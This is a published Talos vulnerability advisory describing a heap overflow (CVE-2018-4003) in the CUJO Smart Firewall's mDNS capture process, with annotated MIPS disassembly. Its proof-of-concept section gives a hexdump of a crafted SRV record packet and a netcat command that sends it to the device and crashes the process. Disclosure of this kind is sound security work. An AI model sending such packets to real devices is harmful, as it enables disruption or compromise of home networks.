Talos Vulnerability Report

TALOS-2018-0672

CUJO Smart Firewall mdnscap mDNS character-strings code execution vulnerability

March 19, 2019
CVE Number

CVE-2018-4003

Summary

An exploitable heap overflow vulnerability exists in the mdnscap binary of the CUJO Smart Firewall running firmware 7003. The string lengths are handled incorrectly when parsing character strings in mDNS resource records, leading to arbitrary code execution in the context of the mdnscap process. An unauthenticated attacker can send an mDNS message to trigger this vulnerability.

Tested Versions

CUJO Smart Firewall - Firmware version 7003

Product URLs

https://www.getcujo.com/smart-firewall-cujo/

CVSSv3 Score

8.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

CWE

CWE-122: Heap-based Buffer Overflow

Details

CUJO AI produces the CUJO Smart Firewall, a device aimed at protecting home networks from a variety of threats, such as malware, phishing websites and hacking attempts. It also provides a way to monitor specific devices in the network and limit their internet access.

To achieve this, CUJO works as a gateway and splits the home network in two: a monitored network and an unmonitored network (where the main home router is). This way, it can inspect (and block) malicious traffic on the internet. They also provide Android and iOS applications for managing the device.

The board utilizes an OCTEON III CN7020 processor produced by Cavium Networks, which has a cnMIPS64 microarchitecture.

The firmware is present in the external eMMC and is based on OCTEON’s SDK, which results in a Linux-based operating system running a kernel with PaX patches.

During normal operation, the core process is agent — it establishes a persistent WebSocket over TLS communication with the remote CUJO server agent.cujo.io on port 444, which enables an indirect and remote communication with the smartphone application. This process also communicates with “tappers”, which are processes meant to listen for a variety of network activities.

CUJO uses a set of custom “tappers” and other known network-related tools, whose names are self-explanatory: mdnscap, dnscap, dhcpcap, arp-mitm, p0f, softflowd, scannerd, snort. The device continuously updates the remote server when new network activities are detected.

In particular, the mdnscap binary collects mDNS packets from the network. It does so by using the libpcap library.

Before starting the packet capture, the main function drops the process’ privileges, constraining it in a chroot environment running as the _mdnscap user.

Shortly after, the functions pcap_compile and pcap_loop are used to call the function sub_3F14 every time an UDP packet is received on port 5353.

.text:00003F14      # sub_3F14(struct pcap_user_cujo *user, const struct pcap_pkthdr *pkthdr, const char *data)
.text:00003F14
.text:00003F14 000                 li      $gp, 0x1B0EC
.text:00003F1C 000                 addu    $gp, $t9
.text:00003F20 000                 addiu   $sp, -0xA8
.text:00003F24 0A8                 sw      $ra, 0xA8+var_4($sp)
.text:00003F28 0A8                 sw      $fp, 0xA8+var_8($sp)
.text:00003F2C 0A8                 move    $fp, $sp
.text:00003F30 0A8                 sw      $gp, 0xA8+var_90($sp)
.text:00003F34 0A8                 sw      $a0, 0xA8+user($fp)
.text:00003F38 0A8                 sw      $a1, 0xA8+pkthdr($fp)
.text:00003F3C 0A8                 sw      $a2, 0xA8+data($fp)           # [1]
...
.text:00003FB4 0A8                 lw      $v0, 0xA8+pkthdr($fp)
.text:00003FB8 0A8                 nop
.text:00003FBC 0A8                 lw      $v0, pcap_pkthdr.caplen($v0)
.text:00003FC0 0A8                 nop
.text:00003FC4 0A8                 sw      $v0, 0xA8+caplen($fp)
...
.text:00003FE8 0A8                 addiu   $v1, $fp, 0xA8+caplen
.text:00003FEC 0A8                 addiu   $v0, $fp, 0xA8+data
.text:00003FF0 0A8                 move    $a3, $a1
.text:00003FF4 0A8                 move    $a2, $a0
.text:00003FF8 0A8                 move    $a1, $v1
.text:00003FFC 0A8                 move    $a0, $v0
.text:00004000 0A8                 li      $v0, 0
.text:00004004 0A8                 nop
.text:00004008 0A8                 addiu   $v0, parse_ether
.text:0000400C 0A8                 move    $t9, $v0
.text:00004010 0A8                 bal     parse_ether                   # [2]
...
.text:00004058 0A8                 bal     parse_ip                      # [3]
...
.text:000040A4 0A8                 bal     parse_udp                     # [4]
...
.text:00004138 0A8                 bal     parse_mdns                    # [5]

The packet data is passed as third parameter [1]. The function then parses the Ethernet [2], IP [3] and UDP layers [4]. Finally, the mDNS payload is parsed by calling function [5].

.text:000039E0     parse_mdns:
...
.text:00003AE8 060                 lw      $v0, 0x60+mdns_data($fp)      # [6]
.text:00003AEC 060                 nop
.text:00003AF0 060                 lhu     $v1, 2($v0)                   # flags
.text:00003AF4 060                 li      $v0, 0xFFFF8000
.text:00003AF8 060                 and     $v0, $v1, $v0
.text:00003AFC 060                 andi    $v0, 0xFFFF
.text:00003B00 060                 beqz    $v0, loc_3B28                 # [7] ensure QR=1
.text:00003B04 060                 nop
.text:00003B08 060                 lw      $v0, 0x60+mdns_data($fp)
.text:00003B0C 060                 nop
.text:00003B10 060                 lhu     $v0, 2($v0)
.text:00003B14 060                 nop
.text:00003B18 060                 andi    $v0, 0x200
.text:00003B1C 060                 andi    $v0, 0xFFFF
.text:00003B20 060                 beqz    $v0, loc_3B34                 # [8] ensure TC=0
.text:00003B24 060                 nop
...
.text:00003B34     loc_3B34:
...
.text:00003BBC 060                 addiu   $a1, $v0, aQueries            # "QUERIES:\n"
.text:00003BC0 060                 move    $a0, $zero
.text:00003BC4 060                 la      $v0, verbprintind
.text:00003BC8 060                 nop
.text:00003BCC 060                 move    $t9, $v0
.text:00003BD0 060                 bal     verbprintind
...
.text:00003C18 060                 sw      $zero, 0x60+query($sp)        # type
.text:00003C1C 060                 move    $a3, $a0                      # mdns_total_entries
.text:00003C20 060                 move    $a2, $v1                      # mdns_sections_ptr
.text:00003C24 060                 lw      $a1, 0x60+mdns_data_end($fp)  # mdns_data_end
.text:00003C28 060                 lw      $a0, 0x60+mdns_data_2($fp)    # mdns_data
.text:00003C2C 060                 li      $v0, 0
.text:00003C30 060                 nop
.text:00003C34 060                 addiu   $v0, parse_mdns_records
.text:00003C38 060                 move    $t9, $v0
.text:00003C3C 060                 bal     parse_mdns_records            # [9]
...
.text:00003C6C 060                 addiu   $a1, $v0, aAnswers            # "ANSWERS:\n"
...
.text:00003CF0 060                 bal     parse_mdns_records            # [10]
...
.text:00003D20 060                 addiu   $a1, $v0, aAuthority          # "AUTHORITY:\n"
...
.text:00003DA4 060                 bal     parse_mdns_records            # [11]
...
.text:00003DD4 060                 addiu   $a1, $v0, aAdditional         # "ADDITIONAL:\n"
...
.text:00003E58 060                 bal     parse_mdns_records            # [12]

The function receives the mDNS payload at [6], and ensures that the DNS header has QR=1 [7] (which corresponds to a response), and TC=0 [8] (which means the message is not truncated).

Then, for each section (“question” [9], “answer” [10], “authority” [11] and “additional” [12]), the function parse_mdns_records is called.

.text:000035F0      # parse_mdns_records(char *mdns_data, char *mdns_data_end, char mdns_sections_ptr, char *mdns_total_entries, char type)
.text:000035F0
...
.text:00003674 060                 b       loc_3928
.text:00003678 060                 nop
.text:0000367C
.text:0000367C     loc_367C:                                                     # [13] loop
.text:0000367C 060                 lw      $a2, 0x60+mdns_sections_ptr($fp)
.text:00003680 060                 lw      $a1, 0x60+mdns_data_end($fp)
.text:00003684 060                 lw      $a0, 0x60+mdns_data($fp)
.text:00003688 060                 li      $v0, 0
.text:0000368C 060                 nop
.text:00003690 060                 addiu   $v0, dns_parse_name
.text:00003694 060                 move    $t9, $v0
.text:00003698 060                 bal     dns_parse_name                        # [14]
.text:0000369C 060                 nop
.text:000036A0 060                 lw      $gp, 0x60+var_48($fp)
.text:000036A4 060                 sw      $v0, 0x60+query_name($fp)             # [15]
.text:000036A8 060                 lw      $v0, 0x60+query_name($fp)
.text:000036AC 060                 nop
.text:000036B0 060                 beqz    $v0, loc_394C                         # [21]
.text:000036B4 060                 nop
.text:000036B8 060                 la      $v0, _fbss
.text:000036BC 060                 nop
.text:000036C0 060                 lw      $v1, (_fbss - 0x17148)($v0)
.text:000036C4 060                 lw      $a2, 0x60+query_name($fp)
.text:000036C8 060                 li      $v0, 0
.text:000036CC 060                 nop
.text:000036D0 060                 addiu   $a1, $v0, aNameS                      # "NAME: %s\n"
.text:000036D4 060                 move    $a0, $v1
.text:000036D8 060                 la      $v0, verbprintind
.text:000036DC 060                 nop
.text:000036E0 060                 move    $t9, $v0
.text:000036E4 060                 bal     verbprintind
.text:000036E8 060                 nop
.text:000036EC 060                 lw      $gp, 0x60+var_48($fp)
.text:000036F0 060                 lbu     $v1, 0x60+var_31($fp)
.text:000036F4 060                 addiu   $v0, $fp, 0x60+var_1E
.text:000036F8 060                 sw      $v0, 0x60+var_50($sp)
.text:000036FC 060                 move    $a3, $v1
.text:00003700 060                 lw      $a2, 0x60+mdns_sections_ptr($fp)
.text:00003704 060                 lw      $a1, 0x60+mdns_data_end($fp)
.text:00003708 060                 lw      $a0, 0x60+mdns_data($fp)
.text:0000370C 060                 li      $v0, 0
.text:00003710 060                 nop
.text:00003714 060                 addiu   $v0, dns_parse_qr
.text:00003718 060                 move    $t9, $v0
.text:0000371C 060                 bal     dns_parse_qr                          # [16]
.text:00003720 060                 nop
.text:00003724 060                 lw      $gp, 0x60+var_48($fp)
.text:00003728 060                 sw      $v0, 0x60+query_qr($fp)               # [17]

The function loops [13] over each entry in the section (either “question”, “answer”, “authority” or “additional”).

At [14], the entry’s DNS name is extracted by calling dns_parse_name, which returns a pointer to a heap buffer, then stored on the stack [15] (query_name).

Next, the function extracts the “RDATA” field by calling dns_parse_qr [16], which returns a pointer to a heap buffer, then stored on the stack [17] (query_qr). Note that since the “RDATA” field only exists in resource records, a pointer to an empty string is returned when the section is “question”.

For sections “answer”, “authority”, and “additional”, dns_parse_qr calls the function parse_rr which performs the actual “RDATA” extraction.

.text:0000261C parse_rr:
...
.text:00002688 lhu     $v0, 0x58+var_30($fp)            # [18]
.text:0000268C nop
.text:00002690 sltiu   $v1, $v0, 0x22                   # switch 34 cases
.text:00002694 beqz    $v1, def_26BC                    # jumptable 000026BC default case
.text:00002698 nop
.text:0000269C sll     $v1, $v0, 2
.text:000026A0 li      $v0, 0
.text:000026A4 nop
.text:000026A8 addiu   $v0, rr_handlers
.text:000026AC addu    $v0, $v1, $v0
.text:000026B0 lw      $v0, 0($v0)
.text:000026B4 nop
.text:000026B8 addu    $v0, $gp
.text:000026BC jr      $v0                              # [19] switch jump
.text:000026C0 nop
.text:000026C4  # ---------------------------------------------------------------------------
.text:000026C4
.text:000026C4 loc_26C4:
.text:000026C4 lw      $v0, 0x58+var_2C($fp)            # jumptable 000026BC case 1 - A
...
.text:00002730  # ---------------------------------------------------------------------------
.text:00002730
.text:00002730 loc_2730:
.text:00002730 lw      $v0, 0x58+var_2C($fp)            # jumptable 000026BC case 16 - TXT
.text:00002734 lhu     $v1, 0x58+var_2E($fp)
.text:00002738 nop
.text:0000273C move    $a1, $v1
.text:00002740 move    $a0, $v0
.text:00002744 li      $v0, 0
.text:00002748 nop
.text:0000274C addiu   $v0, collect_strings
.text:00002750 move    $t9, $v0
.text:00002754 bal     collect_strings                  # [20]
.text:00002758 nop
...
.text:000027B0  # ---------------------------------------------------------------------------
.text:000027B0
.text:000027B0 loc_27B0:
.text:000027B0 addiu   $v0, $fp, 0x58+var_2C            # jumptable 000026BC case 12 - PTR
...
.text:0000282C  # ---------------------------------------------------------------------------
.text:0000282C
.text:0000282C loc_282C:
.text:0000282C lw      $v0, 0x58+var_2C($fp)            # jumptable 000026BC case 13 - HINFO
.text:00002830 lhu     $v1, 0x58+var_2E($fp)
.text:00002834 nop
.text:00002838 move    $a1, $v1
.text:0000283C move    $a0, $v0
.text:00002840 li      $v0, 0
.text:00002844 nop
.text:00002848 addiu   $v0, collect_strings
.text:0000284C move    $t9, $v0
.text:00002850 bal     collect_strings                  # [20]
.text:00002854 nop
...
.text:000028AC  # ---------------------------------------------------------------------------
.text:000028AC
.text:000028AC loc_28AC:
.text:000028AC lw      $v0, 0x58+var_2C($fp)            # jumptable 000026BC case 33 - SRV
.text:000028B0 nop
.text:000028B4 addiu   $v1, $v0, 6
.text:000028B8 lhu     $v0, 0x58+var_2E($fp)
.text:000028BC nop
.text:000028C0 addiu   $v0, -6
.text:000028C4 move    $a1, $v0
.text:000028C8 move    $a0, $v1
.text:000028CC li      $v0, 0
.text:000028D0 nop
.text:000028D4 addiu   $v0, collect_strings
.text:000028D8 move    $t9, $v0
.text:000028DC bal     collect_strings                  # [20]
.text:000028E0 nop
...
.text:000029D8  # ---------------------------------------------------------------------------
.text:000029D8
.text:000029D8 def_26BC:
.text:000029D8 la      $v0, _fbss                       # jumptable 000026BC default case
.text:000029DC nop
.text:000029E0 lw      $v1, (_fbss - 0x17148)($v0)
.text:000029E4 li      $v0, 0
.text:000029E8 nop
.text:000029EC addiu   $a1, $v0, aUnsupportedRrT        # "Unsupported RR type, skipping..\n"
.text:000029F0 move    $a0, $v1
.text:000029F4 la      $v0, verbprintind
.text:000029F8 nop
.text:000029FC move    $t9, $v0
.text:00002A00 bal     verbprintind
.text:00002A04 nop
.text:00002A08 lw      $gp, 0x58+var_40($fp)
.text:00002A0C move    $v0, $zero
.text:00002A10 b       loc_2B8C
.text:00002A14 nop
...

Based on the resource record type [18], the “RDATA” parsing is handled differently [19].
When the resource record type is one of “HINFO” (13), “TXT” (16), or “SRV” (33), the function collect_strings [20] is invoked to extract the character-strings present in the “RDATA” field (see https://tools.ietf.org/html/rfc1035#section-3.3).
The function expects the rdata pointer [21] and the rdlength [22] as parameters. It returns a heap buffer containing the “RDATA” character-strings having each of them separated by spaces.

.text:000021A8 collect_strings:
.text:000021A8
...
.text:000021C8 sw      $a0, 0x38+rdata($fp)             # [21]
.text:000021CC sw      $a1, 0x38+rdlength($fp)          # [22]
...
.text:000021E4 sw      $zero, 0x38+buffer($fp)
.text:000021E8 sw      $zero, 0x38+counter($fp)
.text:000021EC lw      $v0, 0x38+rdlength($fp)
.text:000021F0 nop
.text:000021F4 addiu   $v0, 1
.text:000021F8 li      $a1, 1
.text:000021FC move    $a0, $v0
.text:00002200 la      $v0, calloc                      # [23]
.text:00002204 nop
.text:00002208 move    $t9, $v0
.text:0000220C jalr    $t9 ; calloc
.text:00002210 nop
.text:00002214 lw      $gp, 0x38+var_28($fp)
.text:00002218 sw      $v0, 0x38+buffer($fp)
.text:0000221C lw      $v0, 0x38+buffer($fp)
.text:00002220 nop
.text:00002224 bnez    $v0, loc_2340                    # loop start
...
.text:00002268 loc_2268:                                # append a space
.text:00002268 lw      $v0, 0x38+counter($fp)
.text:0000226C nop
.text:00002270 beqz    $v0, loc_228C
.text:00002274 nop
.text:00002278 li      $v0, 0
.text:0000227C nop
.text:00002280 addiu   $v0, asc_5F44                    # " "
.text:00002284 b       loc_2298
.text:00002288 nop
.text:0000228C
.text:0000228C loc_228C:                                # append empty string
.text:0000228C li      $v0, 0
.text:00002290 nop
.text:00002294 addiu   $v0, unk_5E40
.text:00002298
.text:00002298 loc_2298:
.text:00002298 move    $a1, $v0
.text:0000229C lw      $a0, 0x38+buffer($fp)
.text:000022A0 la      $v0, strcat
.text:000022A4 nop
.text:000022A8 move    $t9, $v0
.text:000022AC jalr    $t9 ; strcat                     # [28]
.text:000022B0 nop
.text:000022B4 lw      $gp, 0x38+var_28($fp)
.text:000022B8 lw      $v0, 0x38+counter($fp)
.text:000022BC nop
.text:000022C0 addiu   $v0, 1
.text:000022C4 lw      $v1, 0x38+rdata($fp)
.text:000022C8 nop
.text:000022CC addu    $a0, $v1, $v0
.text:000022D0 lw      $v1, 0x38+rdata($fp)
.text:000022D4 lw      $v0, 0x38+counter($fp)
.text:000022D8 nop
.text:000022DC addu    $v0, $v1, $v0
.text:000022E0 lbu     $v0, 0($v0)
.text:000022E4 nop
.text:000022E8 move    $a2, $v0
.text:000022EC move    $a1, $a0
.text:000022F0 lw      $a0, 0x38+buffer($fp)
.text:000022F4 la      $v0, strncat
.text:000022F8 nop
.text:000022FC move    $t9, $v0
.text:00002300 jalr    $t9 ; strncat                    # [29]
.text:00002304 nop
.text:00002308 lw      $gp, 0x38+var_28($fp)
.text:0000230C lw      $v1, 0x38+rdata($fp)
.text:00002310 lw      $v0, 0x38+counter($fp)
.text:00002314 nop
.text:00002318 addu    $v0, $v1, $v0
.text:0000231C lb      $v0, 0($v0)
.text:00002320 nop
.text:00002324 andi    $v0, 0xFF
.text:00002328 move    $v1, $v0
.text:0000232C lw      $v0, 0x38+counter($fp)
.text:00002330 nop
.text:00002334 addu    $v0, $v1, $v0                    # [30]
.text:00002338 addiu   $v0, 1                           # [31]
.text:0000233C sw      $v0, 0x38+counter($fp)
.text:00002340
.text:00002340 loc_2340:                                # [24] loop start
.text:00002340 lw      $v1, 0x38+counter($fp)
.text:00002344 lw      $v0, 0x38+rdlength($fp)
.text:00002348 nop
.text:0000234C sltu    $v0, $v1, $v0                    # [25]
.text:00002350 beqz    $v0, loc_2388
.text:00002354 nop
.text:00002358 lw      $v1, 0x38+rdata($fp)
.text:0000235C lw      $v0, 0x38+counter($fp)
.text:00002360 nop
.text:00002364 addu    $v0, $v1, $v0
.text:00002368 lbu     $v0, 0($v0)                      # [26]
.text:0000236C nop
.text:00002370 move    $v1, $v0
.text:00002374 lw      $v0, 0x38+rdlength($fp)
.text:00002378 nop
.text:0000237C sltu    $v0, $v1, $v0                    # [27]
.text:00002380 bnez    $v0, loc_2268
.text:00002384 nop
.text:00002388 loc_2388:
...                                                     # exit loop

At [23] a buffer of size rdlength+1 is allocated on the heap.

Then, a loop starts at [24] to extract each character-string. The counter variable keeps track of the number of bytes written to the buffer. At [25] counter is checked to not be bigger than rdlength.

Next, the length octet pointed by rdata [26], is checked to be smaller than rdlength [27], in which case the character-string is appended to the buffer [29], adding a space separator [28] when more than one character-string is present.

The counter is updated ([30], [31]) and the loop continues.

At higher level, the loop exit-condition is:

(counter >= rdlength) || (rdata[counter] >= rdlength)

Note that the check at [27] is not sufficient, as it doesn’t take into account the cumulative length but rather only the absolute length of the current character-string. The separator [31] and the null-terminator added by strncat are not taken into account, as well.

This issue allows a heap-based buffer overflow to happen at [29], for example when two (or more) character-strings are specified in a resource record.

An attacker can exploit this vulnerability to achieve arbitrary code execution without authentication, in the context of the mdnscap process. The attacker would need to escape the chroot and elevate his privileges in order to fully compromise the device.

Exploit Proof of Concept

The following proof of concept shows how to crash the mdnscap process.
Consider the following input file:

$ hexdump input.bin
0000000 12 34 80 00 00 00 00 01 00 00 00 00 03 41 42 43
0000010 00 00 21 aa aa aa aa aa aa 01 01 bb bb bb bb bb
0000020 bb f9 cc cc cc cc cc cc cc cc cc cc cc cc cc cc
0000030 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc
*
0000110 cc cc cc cc cc cc cc cc cc cc cc fa dd dd dd dd
0000120 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd
0000130 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd
0000140 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd
*
0000210 dd dd dd dd dd dd
0000216

We have one “answer” entry, whose name is “ABC”.
This entry specifies a resource record of type 0x21 (“SRV”), with an “RDLENGTH” of 0x101.
In “RDATA”, the first character-string has length 0xf9, while the second character-string has length 0xfa, clearly exceeding the 0x101 declared “RDLENGTH”.

The following command crashes mdnscap:

$ nc -u $CUJO_IP 5353 < input.bin

Timeline

2018-09-18 - Vendor Disclosure
2019-03-19 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.